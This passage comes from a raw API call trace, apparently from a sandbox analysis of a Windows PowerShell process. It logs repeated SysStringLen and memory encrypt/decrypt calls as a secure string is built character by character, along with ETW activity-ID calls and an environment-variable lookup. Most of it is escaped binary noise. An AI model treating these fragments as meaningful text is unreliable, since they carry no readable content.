(param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xc458\x339e\x5376\x9dff\xed09\x40cc\x645d\x4b77") returned 0x28 [0136.614] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlA哯敁∭葂雁㍊") returned 0x28 [0136.615] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x5076\xca94\x3ff9\x3631\xcb7\x37b3\xac77\xc2a") returned 0x28 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x5076\xca94\x3ff9\x3631\xcb7\x37b3\xac77\xc2a") returned 0x28 [0136.615] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAt敁∭葂雁㍊") returned 0x28 [0136.615] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xc9b1\x97f8\xf9c3\x7c40\xaadb\xcd2\x8551\x5b83") returned 0x28 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xc9b1\x97f8\xf9c3\x7c40\xaadb\xcd2\x8551\x5b83") returned 0x28 [0136.615] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ∭葂雁㍊") returned 0x28 [0136.615] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xd5fe\x972a\x8583\x7734\x8398\xa8ce\xe285\xe486") returned 0x28 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xd5fe\x972a\x8583\x7734\x8398\xa8ce\xe285\xe486") returned 0x28 [0136.615] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7葂雁㍊") returned 0x28 [0136.615] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xe026\x2c2b\x25bf\x1803\x8844\x2533\x4509\x1dd4") returned 0x28 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xe026\x2c2b\x25bf\x1803\x8844\x2533\x4509\x1dd4") returned 0x28 [0136.615] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7G雁㍊") returned 0x28 [0136.615] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xf510\x479e\xf4d6\x26f3\xcd4f\x112\x76c1\xb10e") returned 0x28 [0136.615] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\xf510\x479e\xf4d6\x26f3\xcd4f\x112\x76c1\xb10e") returned 0x28 [0136.615] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.616] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7Gf㍊") returned 0x28 [0136.616] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x3a46\xe078\xe813\x29d2\x881f\xa39a\x3eca\x422c") returned 0x28 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x3a46\xe078\xe813\x29d2\x881f\xa39a\x3eca\x422c") returned 0x28 [0136.616] SystemFunction041 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.616] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7GfK") returned 0x28 [0136.616] SystemFunction040 (in: Memory=0x8ebfe34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe34) returned 0x0 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a") returned 0x28 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a") returned 0x28 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a") returned 0x28 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a") returned 0x30 [0136.616] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.616] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7GfKR튎虣뗂ᛩ") returned 0x30 [0136.616] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\x564a\x991b\xa8fb\x9ee1\xcda4\x81fd\x6911\xbc93") returned 0x30 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\x564a\x991b\xa8fb\x9ee1\xcda4\x81fd\x6911\xbc93") returned 0x30 [0136.616] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.616] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7GfKRq튎虣뗂ᛩ") returned 0x30 [0136.616] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\x1aa1\xbe86\x1cec\xab0c\x7398\xb18a\xa799\x1a55") returned 0x30 [0136.616] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\x1aa1\xbe86\x1cec\xab0c\x7398\xb18a\xa799\x1a55") returned 0x30 [0136.616] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.617] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7GfKRqY튎虣뗂ᛩ") returned 0x30 [0136.617] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.617] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\x4fe3\x43d1\xa520\xb7b3\x2fc1\x110c\xcc11\x6461") returned 0x30 [0136.617] SysStringLen (param_1="\x6996\xe0b6\xaabf\xe53\xa05a\x5b96\x7208\x351f\x6126\x91f3\xf497\x2cb3\xf4aa\xc21d\x45e5\x48b3\x67c9\xdee0\x3e29\x9116\xa237\x5070\xf5eb\xad80\x3505\xbd48\x27a7\x6447\xe6ed\x90d7\xd33a\x399\x9f6b\xf7be\x8b36\xd388\x1a03\x92f6\xf039\x263a\x4fe3\x43d1\xa520\xb7b3\x2fc1\x110c\xcc11\x6461") returned 0x30 [0136.617] SystemFunction041 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.617] SysStringLen (param_1="x/bXi/91ReaaVb7kvLY3OyRVR6Fh0egrlAtJ7GfKRqY=虣뗂ᛩ") returned 0x30 [0136.617] SystemFunction040 (in: Memory=0x8e30bfc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30bfc) returned 0x0 [0136.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.617] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.617] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x3f13\x6b24\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe6f4\x99a\x54d8\x7406\xadb8\x667\x0b") returned 0x0 [0136.617] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.617] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.617] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.618] SysStringLen (param_1="") returned 0x8 [0136.618] SysStringLen (param_1="Y") returned 0x8 [0136.618] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.618] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.618] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.618] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.618] SysStringLen (param_1="YW") returned 0x8 [0136.618] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.618] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.618] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.618] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.618] SysStringLen (param_1="YWM") returned 0x8 [0136.618] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.618] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.618] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.618] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.618] SysStringLen (param_1="YWM1") returned 0x8 [0136.618] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.619] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.619] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="YWM1O") returned 0x8 [0136.619] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.619] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.619] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.619] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.619] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.619] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.619] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.619] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.619] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.619] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.619] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.619] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.620] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.620] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.620] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.620] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.620] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.620] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.620] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.620] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.620] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.620] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.620] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.621] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.621] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.621] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.621] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.621] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.621] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.621] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.621] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.621] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.621] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.622] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.622] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.622] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.622] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.622] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.622] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.622] SysStringLen 